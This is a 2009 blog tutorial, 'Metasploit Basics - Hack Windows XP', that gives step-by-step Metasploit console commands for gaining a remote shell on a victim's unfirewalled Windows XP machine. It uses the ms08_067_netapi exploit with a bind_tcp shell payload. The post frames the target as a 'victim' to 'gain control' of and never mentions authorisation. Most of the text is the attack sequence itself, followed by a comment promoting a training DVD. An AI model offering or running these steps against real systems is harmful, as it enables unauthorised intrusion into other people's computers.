Thursday, September 10, 2009

Metasploit Basics - Hack Windows XP

Metasploit is a tool which uses certain bugs in Windows and other platforms to carve and develop exploits and lets you apply them using simple commands. Thus, Metasploit is a script kiddie's dream! :D. Well, maybe not.

In this tutorial, I'll teach you:
1>>The basics of metasploit,
2>>How to choose and apply an exploit on a target machine,
3>>Gain control of the victim's computer.

We'll be hacking Windows XP with no firewall installed or enabled.

Here's what we will be doing:

1)Install Metasploit Framework
2)Choose a target machine
3)Choose an exploit
4)Apply the exploit

Now here are the steps you are going to take:

1>>Download and install Metasploit framework by clicking HERE.

2>>Now after installing the framework run the Framework by going to    Start>>Programs>>Metasploit3>>Metasploit 3 GUI.

3>>Now go to Window on the top and click on Console. You can also just press 'Ctrl + O'.

4>>Now you have the console infront of you.

5>>Here's where it all starts and you start typing the commands. Now first of all we'll see which exploits are available for our use. For that click infront of msf> and type: show exploits

6>>You will get the list of exploits available infront of you. It'll be a long list so don't worry if it takes a second to load.

7>>Now you have to choose the exploit which you want to apply. Keep in mind that not every exploit you apply will work and that what might work for each victim may not work for another. For this tutorial I will use the windows/smb/ms08_067_netapi exploit.

8>>Find  windows/smb/ms08_067_netapi in the list of exploits you have infront of you and copy it. You can also copy it from here if you want to.

9>>Now type 'use windows/smb/ms08_067_netapi' in the console where you can replace this exploit by any other exploit you later use for hacking. It should look like this:

10>>Now type 'show payloads' in the console and press enter. You have a list of payloads to use infront of you.

11>>Payload is actually shellcode written in assembly or machine language. If you want to know what shellcode is click HERE.

12>>Now you have to choose a payload to attack the victim. For this tutorial I'm going to use 'windows/shell/bind_tcp' payload.

13>>So you have to type 'set payload windows/shell/bind_tcp' and press enter.

14>>Now you have selected the payload and you just have to set the victim's ip address.

15>>After this type 'set rhost [ip]' and press enter.

16>>Now you're ready to exploit! Just type 'exploit' and press enter! And here you have access to victims's system32 as the promt now shows C:\WINDOWS\System32. Like this:

Use different exploits and play around! See you in the next tutorial!

Note: You can also set the port to attack using different commands. Ask in the comments if you want me to explain anything else.


Penetration Tester said...

Download SecurityTube Metasploit Framework Expert DVD FREE Enjoy ;) ;)

Post a Comment